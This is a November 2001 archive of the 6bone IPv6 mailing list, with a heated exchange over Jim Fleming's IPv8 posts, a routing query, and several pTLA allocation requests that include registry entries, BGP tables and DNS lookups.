Sure, but you don't _need_ to ask on 6bone list -- you could just send an 
email or knock your neighbour's door.

Not that I'd be forbidding such queries, but we were kinda in a same 
situation before, in thread:

Date: Mon, 9 Jul 2001 14:22:52 +0300 (EEST)
From: Pekka Savola <pekkas@netcore.fi>
To: 6bone@ISI.EDU
Subject: Filtering prefixes longer than /24

To save the hassle from everyone, it's better not have too high hopes for 
peering unless you have a pTLA.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords



From 6bone-owner  Thu Nov  1 00:50:14 2001
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From: Ville <ville@stealth.net>
To: Pekka Savola <pekkas@netcore.fi>
Cc: 6bone@ISI.EDU
Subject: RE: Looking for BGP peers
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On Wed, 31 Oct 2001, Pekka Savola wrote:

> On Wed, 31 Oct 2001, Michel Py wrote:

> Sure, but you don't _need_ to ask on 6bone list -- you could just send an 
> email or knock your neighbour's door.

Pekka,

perhaps it's simply time for you to face it - 6bone@ is a high-traffic
list.  There is no need for you to begin individually judging which of
the requests you see sane and  which not.  They may make perfect sense
to others.

After all, 6BONE clearly _is_ a testbed for the deployment of IPv6 and
that's making no  restrictions towards  the aim of gaining operational
experience before really going final.

I could only be delighted  to see people have so different goals as to
what they are looking for and how they are wishing to achieve it.



> Pekka Savola                 "Tell me of difficulties surmounted,

Chill,
-- 
	Ville <viha@stealth.net>	Network Security/IPv6 Solutions
                                        Stealth Communications, Inc.



From 6bone-owner  Thu Nov  1 05:02:05 2001
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From: "Jim Fleming" <jfleming@anet.com>
To: "Ville" <ville@stealth.net>, "Pekka Savola" <pekkas@netcore.fi>
Cc: <6bone@ISI.EDU>
References: <Pine.GSO.4.21.0111010334450.21740-100000@millennium.stealth.net>
Subject: Re: Looking for BGP peers
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----- Original Message ----- 
From: "Ville" <ville@stealth.net>
> perhaps it's simply time for you to face it - 6bone@ is a high-traffic
> list.  There is no need for you to begin individually judging which of
> the requests you see sane and  which not.  They may make perfect sense
> to others.
> 

"high-traffic" ?


Do you use a 2002:<IPv4>:0000 prefix ?

http://www.dot-arizona.com/IPv8/IPv4/
http://www.ietf.org/mail-archive/ietf/Current/msg12213.html

JimFleming@Unir.com
http://www.unir.com
http://www.unir.com/images/architech.gif
http://www.unir.com/images/headers.gif
http://www.unir.com/images/address.gif
http://www.ntia.doc.gov/ntiahome/domainname/130dftmail/unir.txt
http://msdn.microsoft.com/downloads/sdks/platform/tpipv6/start.asp
http://www.ietf.org/mail-archive/ietf/Current/msg12213.html
http://www.ietf.org/mail-archive/ietf/Current/msg12223.html



From 6bone-owner  Thu Nov  1 09:53:59 2001
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Jim Fleming'" <jfleming@anet.com>
Cc: <6bone@ISI.EDU>
Subject: RE: Looking for BGP peers
Date: Thu, 1 Nov 2001 18:52:46 +0100
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Jim Fleming <jfleming@anet.com> wrote:

> ----- Original Message ----- 
> From: "Ville" <ville@stealth.net>
> > perhaps it's simply time for you to face it - 6bone@ is a
high-traffic
> > list.  There is no need for you to begin individually judging which
of
> > the requests you see sane and  which not.  They may make perfect
sense
> > to others.
> > 
> 
> "high-traffic" ?
Wellps... is that all the 'constructive' and '6bone-related' content of
that message?
Your 'signature' brings more 6bone-unrelated traffic than the body....

> Do you use a 2002:<IPv4>:0000 prefix ?

Oh boy... not here too.... let's point Mr. Jim Fla^Heming into the right
directions so maybe he
can read up and learn from those so he actually knows what he's talking
about...

http://www.daemonnews.org/200101/6to4.html - 6to4 IPv6 Explained, or:
Flogging a Dead Horse
http://www.6bone.net/6bone_6to4.html - 6Bone 6to4 Information
http://www.ieng.com/warp/public/759/ipj_3-1/ipj_3-1_routing.html -
Connecting IPv6 Routing Domains Over the IPv4 Internet
http://www.join.uni-muenster.de/JOIN/ipv6/rfc/rfc2373.txt - RFC 2373: IP
Version 6 Addressing Architecture 
http://www.join.uni-muenster.de/JOIN/ipv6/rfc/rfc2374.txt - RFC 2374: An
IPv6 Aggregatable Global Unicast Address Format 

Jups Mr. Fla^Heming those are RFC's... as in REQUEST FOR COMMENTS...
*official* stuff... and stuff that WORKS and is implemented...
Not some vague idea tearing apart something people actually use on a day
by day basis...

Now read up.... and stop bashing your stupid IPv8/16/* whatever ideas
here too... I think you don't want to banned here too now do you?

Check http://www1.ietf.org/mail-archive/ietf/Current/msg14158.html:
8<----------------------------------------------------------------------
---------------------------------
After having read the 4 messages that Jim Fleming sent to the list after

having received my warning note, I have revoked Jim Fleming's posting 
privilleges to the IETF list.

This revocation will remain in effect for the next month.

                Harald T. Alvestrand
                 IETF Chair
------------------------------------------------------------------------
------------------------------>8

And they are quite nice you know... the only revoked it for a month...
hope you grow up in the mean time.
Maybe it's a nice chance to read some stuff so you can act like a grown
up and discuss things like any other normal being... with actually
knowing what you are talking about...

Greets,
 Jeroen

PS: For the rest of your IPv8/IPv16 "ideas" why not start a nice
mailinglist (ipv8@unir.com ?) and announce that once somewhere... that
certainly won't make you step on everybodies toes... and interrested
people will actually join it.... but it won't bother other people
either...


From 6bone-owner  Thu Nov  1 10:47:03 2001
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Jim Fleming'" <jfleming@anet.com>
Subject: RE: Looking for BGP peers
Date: Thu, 1 Nov 2001 19:45:45 +0100
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Jim Fleming [mailto:jfleming@anet.com] wrote:

> From: "Jeroen Massar" <jeroen@unfix.org>
> > 
> > > Do you use a 2002:<IPv4>:0000 prefix ?
> > 
> 
> 
> It all boils down to fairness.
> 
> Which list do you think is more fair ?
> 
> The "toy" IPv4 Internet Early Experimentation Allocations ?
> http://www.iana.org/assignments/ipv4-address-space
> or
> The Proof-of-Concept IPv8 Allocations ?
> http://www.ntia.doc.gov/ntiahome/domainname/130dftmail/unir.txt

You asked which "list" ... those things you mentioned are URL's.... and
'fair' all depends on point of view....
Is it 'fair' for all the subscribers of all those lists you spam to try
and push your 'IPv8' idea down everybodies throat?

And IPv4 isn't a toy.... it's USED by MILLIONS of people on a day by day
basis.... and IPv6 is also catching on in user count...
Has your 'IPv8' got _any_ users whatsoever ??? Is there an
implementation?

> Why would people pay for Address Space, when it is FREE ?
I never have payed for "Addresss Space" in all those years I have been
using the internet... being it IPv4 and/or IPv6...
I do pay for stuff like a phonenumber on my cell phone...
Big companies do have to pay for the management of the IP space but
hey... somebody has to do that... and have you got any idea how
expensive a good working backup solution and maintainance staff is for
something as crucial as the internet for some businesses...

That 'free' entitity which is going to 'manage' (I sincerely hope some
entity is going to manage your IPv8 space) is surely going to ask money
for your IPv8 space management...
You prolly don't want to hear your bank say that they can't recall
having your money on account 2242424241 or something now do you?
And yes indeed you have to pay for that management (banks simply invest
your money and get revenue out of that)

Oh by the way... I don't use the 6to4 range (2002::/16) simply because I
got my own *free* IPv6 /60 :)
Maybe you should try www.freenet6.net which give you a /48 FOR FREE
(unless you start counting your ISP and electrical bills and stuff)

Nothing is *FREE* in this world.... now go grow a brain...

Greets,
 Jeroen

PS: Jim, I set the reply-to to your own email so you can converse the
rest of your stupendous mailings with yourself...
the 6bone@isi.edu (bcc'd so it will go away too on reply) is a
mailinglist for 6bone content _not_ for fle^Hame wars about 'IPv8' or
other delusions...


From 6bone-owner  Thu Nov  1 11:26:29 2001
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Reply-To: <jfleming@anet.com>
From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Jim Fleming'" <jfleming@anet.com>
Subject: RE: Looking for BGP peers
Date: Thu, 1 Nov 2001 20:25:18 +0100
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> -----Original Message-----
> From: Jim Fleming [mailto:jfleming@anet.com] 
<SNIP>

Hi Jim....

Please tell me what has all this to do with the 6bone? If it has nothing

Also are you afraid to answer any questions which are put in front of
you or do you really don't know any answers?
Maybe you should, like most beginners be directed to for instance
www.google.com where you can find many of the answers you are trying to
seek.
And otherwise go setup your own list and go talk to yourself or
something... have fun at it... don't bother the 6bone community with
your nonsense...

> ----- Original Message -----
> From: "Jeroen Massar" <jeroen@unfix.org>
> >
> > That 'free' entitity which is going to 'manage' (I sincerely hope
some
> > entity is going to manage your IPv8 space) is surely going to ask
money
> > for your IPv8 space management...
> 
> 
> IPv8 Address Space Managers (ASMs) can do as they please.
> They obtain their FREE allocations via their ownership of
IN-ADDR.[TLD] names.
You mean like the .tv tld which simply ask $100.000++ for a single
stupid ascii name.... ah great... now I truly understand what you mean
:)
And you are going to govern which of those TLD's to become filty rich ?
Stupid me... I thought you really wanted *free* stuff...

> Are you familiar with the way IN-ADDR.ARPA works ?
<SNIP>

Yes I am familiar with the way in-addr.arpa works... are you?

Just too enlighten you a bit:
IN-ADDR.ARPA is a DNS (Domain Name System) zone.... it's used by
millions of people... even though they don't know it.
in the IPv6 world we use ip6.int (for PTR) and maybe soon after the
debates are over we might even shift to ip6.arpa
See http://www.crt.se/dnssec/bind9/Bv9ARM.ch04.html#AEN1036 and ofcourse
RFC 1034 amongst others...

IN-ADDR.ARPA has subzones which get delegated from the LIR's and RIR's
to the delegates so they can manage those spaces...
In the IPv6 world the same happens... 

Does that answer your question? If not I recommend you some of the great
O'Reilly books which can amongst others be bought (yup they are not
free) at amazon.com.
Check out:
http://www.oreilly.com/catalog/tcp2/ (TCP/IP Network Administration, 2nd
Edition) and
http://www.oreilly.com/catalog/coreprot/ (Internet Core Protocols: The
Definitive Guide)

And many of their other fine books...

Greets,
 Jeroen

PS: Jim, I set the reply-to to your own email so you can converse the
rest of your stupendous mailings with yourself...
the 6bone@isi.edu (bcc'd so it will go away too on reply) is a
mailinglist for 6bone content _not_ for fle^Hame wars about 'IPv8' or
other delusions...


From 6bone-owner  Thu Nov  1 17:10:49 2001
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Date: Thu, 01 Nov 2001 17:10:43 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for INTERNET-MULTIFEED (www.v6.mfeed.ad.jp) -
  review closes 15 November 2001
Cc: "Ishii, Toshinori" <ishii@mfeed.ad.jp>, ipv6-exp@mfeed.ad.jp
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Status: RO

6bone Folk,

INTERNET-MULTIFEED (www.v6.mfeed.ad.jp) has requested a pTLA allocation. 
The open review period for this will close 15 November 2001. Please send 
your comments to me or the list.


Thanks,

Bob

===
>Date: Fri, 02 Nov 2001 09:38:14 +0900
>From: "Ishii, Toshinori" <ishii@mfeed.ad.jp>
>To: Bob Fink <fink@es.net>
>Subject: pTLA request for INTERNET-MULTIFEED
>Cc: ipv6-exp@mfeed.ad.jp
>
>Dear Bob,
>
>This is Toshinori Ishii working for Internet Multifeed Co.
>We'd like to request pTLA of 6Bone.  Please allocate 6Bone pTLA address space.
>
>Thank you.
>
>------------------------------------
>7. Guidelines for 6Bone pTLA sites
>
>    The following rules apply to qualify for a 6Bone pTLA allocation. It
>    should be recognized that holders of 6Bone pTLA allocations are
>    expected to provide production quality backbone network services for
>    the 6Bone.
>
>    1. The pTLA Applicant must have a minimum of three (3) months
>       qualifying experience as a 6Bone end-site or pNLA transit.  During
>       the entire qualifying period the Applicant must be operationally
>       providing the following:
>
>We have about two years experience as a 6Bone end-site.
>
>       a. Fully maintained, up to date, 6Bone Registry entries for their
>          ipv6-site inet6num, mntner, and person objects, including each
>          tunnel that the Applicant has.
>
>ipv6-site:    INTERNET-MULTIFEED
>inet6num:     3FFE:1801:2010::/48
>mntner:       MFEED-MNT
>person:       Nobuhisa Miyake
>person:       Kunihiro Sizuku
>person:       Toshinori Ishii
>
>       b. Fully maintained, and reliable, BGP4+ peering and connectivity
>          between the Applicant's boundary router and the appropriate
>          connection point into the 6Bone. This router must be IPv6
>          pingable. This criteria is judged by members of the 6Bone
>          Operations Group at the time of the Applicant's pTLA request.
>
>NATIVE IPv6 BGP4+ link to NTT-ECL.
>ping ote-gate6.v6.mfeed.ad.jp
>
>       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>          entries for the Applicant's router(s) and at least one host
>          system.
>
>host:         ns.v6.mfeed.ad.jp
>router:       ote-gate6.v6.mfeed.ad.jp
>
>$ host -t aaaa ns.v6.mfeed.ad.jp
>ns.v6.mfeed.ad.jp. has AAAA address 3ffe:1801:2010:201::53
>
>$ host -n 3ffe:1801:2010:201::53
>3.5.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1.0.2.0.0.1.0.2.1.0.8.1.e.f.f.3.ip6.int. 
>domain name pointer ns.v6.mfeed.ad.jp.
>
>$ host -t aaaa ote-gate6.v6.mfeed.ad.jp
>ote-gate6.v6.mfeed.ad.jp. has AAAA address 3ffe:1801:2010:2::d2ad:a044
>
>$ host -n 3ffe:1801:2010:2::d2ad:a044
>4.4.0.a.d.a.2.d.0.0.0.0.0.0.0.0.2.0.0.0.0.1.0.2.1.0.8.1.e.f.f.3.ip6.int. 
>domain name pointer ote-gate6.v6.mfeed.ad.jp.
>
>       d. A fully maintained, and reliable, IPv6-accessible system
>          providing, at a mimimum, one or more web pages, describing the
>          Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>http://www.v6.mfeed.ad.jp/
>
>    2. The pTLA Applicant MUST have the ability and intent to provide
>       "production-quality" 6Bone backbone service. Applicants must
>       provide a statement and information in support of this claim.
>       This MUST include the following:
>
>       a. A support staff of two persons minimum, three preferable, with
>          person attributes registered for each in the ipv6-site object
>          for the pTLA applicant.
>
>There are three person object in our network.
>
>admin-c:      NM2-6BONE
>tech-c:       KS4-6BONE
>tech-c:       TI2-6BONE
>
>       b. A common mailbox for support contact purposes that all support
>          staff have acess to, pointed to with a notify attribute in the
>          ipv6-site object for the pTLA Applicant.
>
>notify:       tech-c@mfeed.ad.jp
>
>    3. The pTLA Applicant MUST have a potential "user community" that
>       would be served by its becoming a pTLA, e.g., the Applicant is a
>       major provider of Internet service in a region, country, or focus
>       of interest. Applicant must provide a statement and information in
>       support this claim.
>
>Internet Multifeed Co. links the content servers of Internet Content
>Providers directly to the high-speed backbones of many major Internet
>Service Providers serving millions of end users.  It also provides the
>means for fast delivery of rich content on the IPv6 Internet.
>
>    4. The pTLA Applicant MUST commit to abide by the current 6Bone
>       operational rules and policies as they exist at time of its
>       application, and agree to abide by future 6Bone backbone
>       operational rules and policies as they evolve by consensus of the
>       6Bone backbone and user community.
>
>Yes, we commit and agree the rules.
>
>
>--
>ishii @ mfeed.ad.jp



From 6bone-owner  Fri Nov  2 06:14:26 2001
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Date: Fri, 02 Nov 2001 06:14:29 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for WEBONLINE-NET (www.webonline.no) - review
  closes 15 November 2001
Cc: Jørgen Hovland <jorgen@hovland.cx>
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6bone Folk,

WEBONLINE-NET (www.webonline.no) has requested a pTLA allocation. The open 
review period for this will close 16 November 2001. Please send your 
comments to me or the list.


Thanks,

Bob

===
>From: Jørgen Hovland <jorgen@hovland.cx>
>To: "Bob Fink" <fink@es.net>
>Subject: pTLA request (WO)
>Date: Fri, 2 Nov 2001 13:27:53 +0100
>
>Hi
>
>
>
>I think everything is right this time.
>
>
>
>Sincerly,
>
>Joergen Hovland
>
>WebOnline AS
>
>7. Guidelines for 6Bone pTLA sites
>
>    The following rules apply to qualify for a 6Bone pTLA allocation. It
>    should be recognized that holders of 6Bone pTLA allocations are
>    expected to provide production quality backbone network services for
>    the 6Bone.
>
>    1. The pTLA Applicant must have a minimum of three (3) months
>       qualifying experience as a 6Bone end-site or pNLA transit.   During
>       the entire qualifying period the Applicant must be operationally
>       providing the following:
>
>WebOnline is an isp/asp in Norway.
>
>We have a 6bonelink through td.org.uit.no/ Roger Jørgensen since he got it
>in November last year from Toledo. IP-prefix is 3ffe:1ce3:12:a::/64
>
>
>Also a 2 prefixes from Hot-web in Germany ( 2001:740:102:a::/64 and
>2001:740:102:b::/80)
>
>
>Just for the record:
>traceroute to www.6bone.net (3ffe:b00:c18:1::10)
>1  ipv6-gw.webonline.no (2001:740:102:a::0)  0.419 ms  0.309 ms 0.318 ms
>2  3ffe:1ce3:12::2:1 (3ffe:1ce3:12::2:1)  23.133 ms  22.927 ms 23.329 ms
>3  server.pasta.cs.uit.no (3ffe:2a00:100:3001::2)  249.963 ms 256.741 ms
>251.527 ms
>
>
>       a. Fully maintained, up to date, 6Bone Registry entries for their
>          ipv6-site inet6num, mntner, and person objects, including each
>          tunnel that the Applicant has.
>
>
>
>We dont have any inet6num cause they are owned by the somebody else.
>
>ipv6-site:    WEBONLINE-NET
>origin:       AS16186
>descr:        WebOnline AS
>location:     Drammen
>country:      NO
>prefix:       3FFE:1CE3:12:A::/64
>prefix:       2001:740:102:A::/64
>prefix:       2001:740:102:B::/80
>tunnel:       IPv6 in IPv4 webonline.no -> chello.no CHELLO-MNT BGP4+
>tunnel:       IPv6 in IPv4 webonline.no -> uit.no JAMESB BGP4+
>tunnel:       IPv6 in IPv4 webonline.no -> hot-web.net JF7286-RIPE BGP4+
>contact:      JH
>remarks:      Mail jorgen@ssc.net for any questions or peering requests
>remarks:      We do not announce any prefixes yet
>url:          http://www.webonline.no
>notify:       noc@webonline.no
>  mnt-by:       WEBONLINE
>  changed:      jorgen@ssc.net 20011102
>source:       6BONE
>
>person:       Joergen Hovland
>address:      Nedre storgate 10
>phone:        +47 98456333
>e-mail:       ipv6@hovland.cx
>nic-hdl:      JH
>mnt-by:       WEBONLINE
>changed:      jorgen@ssc.net 20010921
>source:       6BONE
>
>mntner:       WEBONLINE
>descr:        WebOnline AS
>admin-c:      JH
>upd-to:       hostmaster@webonline.no
>auth:         CRYPT-PW *
>mnt-by:       WEBONLINE
>changed:      jorgen@ssc.net 20011030
>source:       6BONE
>
>       b. Fully maintained, and reliable, BGP4+ peering and connectivity
>          between the Applicant's boundary router and the appropriate
>          connection point into the 6Bone. This router must be IPv6
>          pingable. This criteria is judged by members of the 6Bone
>          Operations Group at the time of the Applicant's pTLA request.
>
>
>
>Linux bgp+ has been running almost since last year I think.
>Bgp4+ on the cisco's was newly implemented because the non-beta ios is kinda
>new.
>
>We have 1 ipv6 peer: Chello broadband (also ipv4)
>
>Native peering in Norway will come when the ix is ready.
>
>The 2 other's are default routes ( 2000::/3)
>
>We do not announce anything because we dont have anything to announce yet.
>
>#sh bgp ipv6
>BGP table version is 18, local router ID is 10.0.3.2
>Status codes: s suppressed, d damped, h history, * valid, > best, i -
>internal
>Origin codes: i - IGP, e - EGP, ? - incomplete
>
>     Network          Next Hop            Metric LocPrf Weight Path
>*>i2000::/3         2001:740:102:A::F
>                                                    100      0 65001 i
>*> 2001:730::/35    2001:730:3::1:C                        0 6830 i
>*> 2001:740:102:A::/64
>                      ::                                 32768 i
>*>i2001:740:102:C::/64
>                      2001:740:102:A::F
>                                                    100      0 65001 i
>*> 3FFE:1CE3:12:A::/64
>                      ::                                 32768 i
>
>BGP router identifier 10.0.3.2, local AS number 16186
>BGP table version is 18, main routing table version 18
>5 network entries and 5 paths using 985 bytes of memory
>17591 BGP path attribute entries using 1056420 bytes of memory
>15446 BGP AS-PATH entries using 397332 bytes of memory
>23 BGP community entries using 776 bytes of memory
>0 BGP route-map cache entries using 0 bytes of memory
>2 BGP filter-list cache entries using 24 bytes of memory
>BGP activity 109424/507859 prefixes, 112573/7642 paths, scan interval 15
>secs
>
>
>
>       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>          entries for the Applicant's router(s) and at least one host
>          system.
>
>
>
>This should be already working see section 1.
>
>
>       d. A fully maintained, and reliable, IPv6-accessible system
>          providing, at a mimimum, one or more web pages, describing the
>          Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>our smtp.webonline.no runs ipv6. Also sshd, telnet, imap, pop3, ircd on a
>couple of servers.
>
>www.webonline.no does not run ipv6 (yet). its a nt-server...
>
>www.ipv6.webonline.no is up.
>
>
>
>    2. The pTLA Applicant MUST have the ability and intent to provide
>       "production-quality" 6Bone backbone service. Applicants must
>       provide a statement and information in support of this claim.
>       This MUST include the following:
>
>       a. A support staff of two persons minimum, three preferable, with
>          person attributes registered for each in the ipv6-site object
>          for the pTLA applicant.
>
>Iver Olsen (iver.olsen@webonline.no)
>Oyvind Ellefsen (oyvind@webonline.no)
>and me
>
>
>       b. A common mailbox for support contact purposes that all support
>          staff have acess to, pointed to with a notify attribute in the
>          ipv6-site object for the pTLA Applicant.
>
>noc@webonline.no
>
>    3. The pTLA Applicant MUST have a potential "user community" that
>       would be served by its becoming a pTLA, e.g., the Applicant is a
>       major provider of Internet service in a region, country, or focus
>       of interest. Applicant must provide a statement and information in
>       support this claim.
>
>We will serve all customers who support and wishes to use ipv6.
>
>All leased lines customers will be allocated ipv6 and ipv4.
>All servers will be allocated ipv6 (if supported) and ipv4.
>
>All dsl-customers will be allocated ipv6 if supported. (router
>advertisement)
>Dialup has its own ipv6 number.
>We have a lot of hosted websites (win2k and unix servers). They will support
>ipv6 when there are non-beta software availible.
>
>Free tunnels will be given out for non-commercial purposes for
>non-customers.
>
>
>
>    4. The pTLA Applicant MUST commit to abide by the current 6Bone
>       operational rules and policies as they exist at time of its
>       application, and agree to abide by future 6Bone backbone
>       operational rules and policies as they evolve by consensus of the
>       6Bone backbone and user community.
>
>
>
>Iver, Oyvind and I will abide the 6bone rules and policies as they exist
>today and future rules and policies as they evolve.
>
>
>http://www.ietf.org/rfc/rfc2772.txt
>
>
>
>    When an Applicant seeks to receive a pTLA allocation, it will apply
>    to the 6Bone Operations Group (see section 8 below) by providing to
>    the Group information in support of its claims that it meets the
>    criteria above.
>
>8. 6Bone Operations Group
>
>    The 6Bone Operations Group is the group in charge of monitoring and
>    policing adherence to the current rules. Membership in the 6Bone
>    Operations Group is mandatory for, and restricted to, sites connected
>    to the 6Bone.
>
>    The 6Bone Operations Group is currently defined by those members of
>    the existing 6Bone mailing list who represent sites participating in
>    the 6Bone. Therefore it is incumbent on relevant site contacts to
>    join the 6Bone mailing list. Instructions on how to join the list are
>    maintained on the 6Bone web site at < http://www.6bone.net>.
>
>I have joined the mailinglist.



From 6bone-owner  Wed Nov  7 01:07:51 2001
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To: 6bone@ISI.EDU
In-reply-to: itojun's message of Fri, 19 Oct 2001 17:14:02 +0900.
      <12075.1003479242@itojun.org> 
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Subject: Re: 2001:400::/29 
From: itojun@iijlab.net
Date: Wed, 07 Nov 2001 18:08:15 +0900
Message-ID: <11786.1005124095@itojun.org>
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>	we (AS2500) are seeing 2001:400::/29 advertised from the following AS
>	path:
>		4554 3748 4755
>	is it for real?   did RIR assigned /29 to AS4755?
>	I don't think it correct, since:
>	- http://www.dfn.de/service/ipv6/ipv6aggis.html does not list it
>	- 2001:400::/35 is advertised from different origin AS (AS293)

	FYI, 2001:400::/29 is still advertised, while 2001:400::/35 is too.

itojun

From 6bone-owner  Wed Nov  7 12:19:41 2001
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Date: Wed, 7 Nov 2001 14:14:46 -0600 (CST)
From: Harold de Dios Tovar Volunt <dios-vol@telecom.noc.udg.mx>
To: fink@es.net
cc: 6bone@ISI.EDU
Subject: pTLA request for UDG
Message-ID: <Pine.SUN.4.10.10111071408220.21739-100000@telecom.noc.udg.mx>
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Hi Bob,

We would like to apply for a pTLA allocation from 6bone, we are UDG,
Universidad de Guadalajara (http://www.udg.mx) we are one of the members
of Internet 2 here in Mexico, the name of the organisation is CUDI.
The Mission of CUDI is to promote and to coordinate the development of
networks of telecommunications and computing, focused to the scientific  
and educative development in Mexico. 
 
 We would like to request one pTLA block, conformance to RFC 2772

 
pTLA prefix requests.


The following rules apply to qualify for a 6Bone pTLA allocation. It
should be recognized that holders of 6Bone pTLA allocations are
expected to provide production quality backbone network services for
the 6Bone.

1. The pTLA Applicant must have a minimum of three (3) months
      qualifying experience as a 6Bone end-site or pNLA transit.   During
      the entire qualifying period the Applicant must be operationally
      providing the following:

   UDG is in 6bone since Mon, 3 Sep 2001 as pNLA of ITESM 3ffe:8240:8012::/48
   at this moment we have pNLA 3FFE:8070:1012::1/64 from UNAM too.

 a. Fully maintained, up to date, 6Bone Registry entries for their
         ipv6-site inet6num, mntner, and person objects, including each
         tunnel that the Applicant has.
 
   The UDG has the following objects:
   
   inet6num:    3FFE:8070:1012::/48
   ipv6-site:   UDG 
   mntner:      MNT-UDG
   mnt-by:      UDG-6BONE
   person:      Harold de Dios Tovar.
   
   theses are our BGP4+ peer conections:

   tunnels:     IPv6 in IPv4 border.ipv6.udg.mx -> gwipv6.ipv6.itesm.mx
ITESM BGP4+
                IPv6 in IPv4 border.ipv6.udg.mx ->
unam-ipv6-1.ipv6.unam.mx UNAM STATIC
                IPv6 in IPv4 border.ipv6.udg.mx -> ipv6-lab-gw.cisco.com
CISCO BGP4+
                IPv6 in IPv4 border.ipv6.udg.mx -> pioneer.ipv6.berkom.de
BERKOM BGP4+
                IPv6 in IPv4 border.ipv6.udg.mx -> rtr.ipv6.he.net
HURRICANE BGP4+
                IPv6 in IPv4 border.ipv6.udg.mx -> v6-gw.cygate.fi SMS
BGP4+
                IPv6 in IPv4 border.ipv6.udg.mx -> cern-atm7.cern.ch CERN
BGP4+
                IPv6 in IPv4 border.ipv6.udg.mx -> ipv6-gw.grnet.gr GRNET
BGP4+
                IPv6 in IPv4 border.ipv6.udg.mx -> border-gw2.caladan.net
CALADAN BGP4+
                IPv6 in IPv4 border.ipv6.udg.mx -> ziggy.ci.ulsa.mx ULSA
STATIC
   
   application: ping imperio.ipv6.udg.mx
                ping noc6.ipv6.udg.mx 
   
   url:         www.ipv6.udg.mx

 b. Fully maintained, and reliable, BGP4+ peering and connectivity
         between the Applicant's boundary router and the appropriate
         connection point into the 6Bone. This router must be IPv6
         pingable. This criteria is judged by members of the 6Bone
         Operations Group at the time of the Applicant's pTLA request.           

    Our BGP4+ conections are working on cisco 3600, this router is
    border.ipv6.udg.mx and can be Ipv6 pingable.  

    
 c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
     entries for the Applicant's router(s) and at least one host
     system. 
  
    UDG has the following about DNS, actually we have 3 IPv6 zone, it
    is maintain and is using DNS forward (AAAA)  and reverse (ip6.int). 
    
    Those are the records:

    ;; QUESTION SECTION:
    ;imperio.ipv6.udg.mx.           IN      ANY

    ;; ANSWER SECTION:
    imperio.ipv6.udg.mx.    86400   IN      AAAA
    3ffe:8240:8012:1:201:3ff:fee6:ad36
    imperio.ipv6.udg.mx.    86400   IN      A       148.202.15.149
    ------------------- 
    ;; QUESTION SECTION:
    ;noc6.ipv6.udg.mx.              IN      ANY

    ;; ANSWER SECTION:
    noc6.ipv6.udg.mx.       86400   IN      AAAA
    3ffe:8240:8012:1:210:5aff:fe99:f59b
    noc6.ipv6.udg.mx.       86400   IN      A       148.202.15.220
    ------------------
    ;; QUESTION SECTION:
    ;border.ipv6.udg.mx.            IN      ANY

    ;; ANSWER SECTION:
    border.ipv6.udg.mx.     86400   IN      A       148.202.15.8
    border.ipv6.udg.mx.     86400   IN      AAAA
    3ffe:8240:8012:1:204:c1ff:fe89:5c71

 d. A fully maintained, and reliable, IPv6-accessible system
         providing, at a mimimum, one or more web pages, describing the
         Applicant's IPv6 services.  This server must be IPv6 pingable.
    
    Our Dual-Stack (IPv4/Iv6) web page is http://www.ipv6.udg.mx/ 
    Here you could find some basicall information about IPv6, in fact our
    tunnels status can be seen here.  
    We are implementing TunnelBroker and other aplications to be used by
    people interested in IPv6.   

   
2. The pTLA Applicant MUST have the ability and intent to provide
    "production-quality" 6Bone backbone service. Applicants must
     provide a statement and information in support of this claim.
     This MUST include the following:

 a. A support staff of two persons minimum, three preferable, with
     person attributes registered for each in the ipv6-site object
     for the pTLA applicant.
     
    HDDT2-6BONE

    The support staff of UdG has 7 person, the name person in charge
    is Harold de Dios Tovar.
    OBEJCT:ipv6-site
    changed: dios-vol@telecom.noc.udg.mx
    OBJECT:person
    changed: harold@noc.udg.mx
    
 
 b. A common mailbox for support contact purposes that all support
     staff have acess to, pointed to with a notify attribute in the
     ipv6-site object for the pTLA Applicant.

    staff@ipv6.udg.mx

 
3. The pTLA Applicant MUST have a potential "user community" that
      would be served by its becoming a pTLA, e.g., the Applicant is a
      major provider of Internet service in a region, country, or focus
      of interest. Applicant must provide a statement and information in
      support this claim.

    UDG is a mexican university, UDG network ha sa user comunity made up
    of more than 100,000 students, teachers, researchs and personal
    working at UDG. You can find this information at UDG web page ->
    http://www.udg.mx  
   
    UDG is one of the principal members of CUDI (Cooperacion Universitaria 
    para el desarollo de internet), this is the internet 2 consortium in 
    Mexico. --> http://www.cudi.edu.mx 
    

4. The pTLA Applicant MUST commit to abide by the current 6Bone
      operational rules and policies as they exist at time of its
      application, and agree to abide by future 6Bone backbone
      operational rules and policies as they evolve by consensus of the
      6Bone backbone and user community.

   UDG undertand the 6bone operational rules and we are strongly agree
   whit them all and we will to abide to the current and the future 6bone
   operational rules and policies.

  
 Regards from Mexico!!



 --------------------------------------
      Harold de Dios Tovar
 
  home: (01) 36 726016 
  work: (01) 31 342232  ext. 2321 
  e-m@il: harold@noc.udg.mx
          harold@mexp5.mexplaza.com.mx
  
  NOC: Network Operation Center 
  IPv6 Staff Working Group 
 -------------------------------------- 


From 6bone-owner  Thu Nov  8 09:08:13 2001
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Date: Thu, 08 Nov 2001 09:08:33 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for NC-REN - review closes 23 November 2001
Cc: Alan Halachmi <alan@halachmi.net>
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6bone Folk,

NC-REN has requested a pTLA allocation. The open review period for this 
will close 23 November 2001. Please send your comments to me or the list.


Thanks,

Bob

===
>Date: Wed, 7 Nov 2001 23:51:41 -0500 (EST)
>From: Alan Halachmi <alan@halachmi.net>
>To: <fink@es.net>
>cc: <rdc@netcom.duke.edu>
>Subject: pTLA Request for NC-REN
>
>Bob,
>
>         I'm forwarding you our pTLA request.  We've had a v6 webserver up
>for a while now, but never loaded content.  I'm having the folks at Duke
>take up that piece, and I imagine that'll be done by weeks end.  Otherwise,
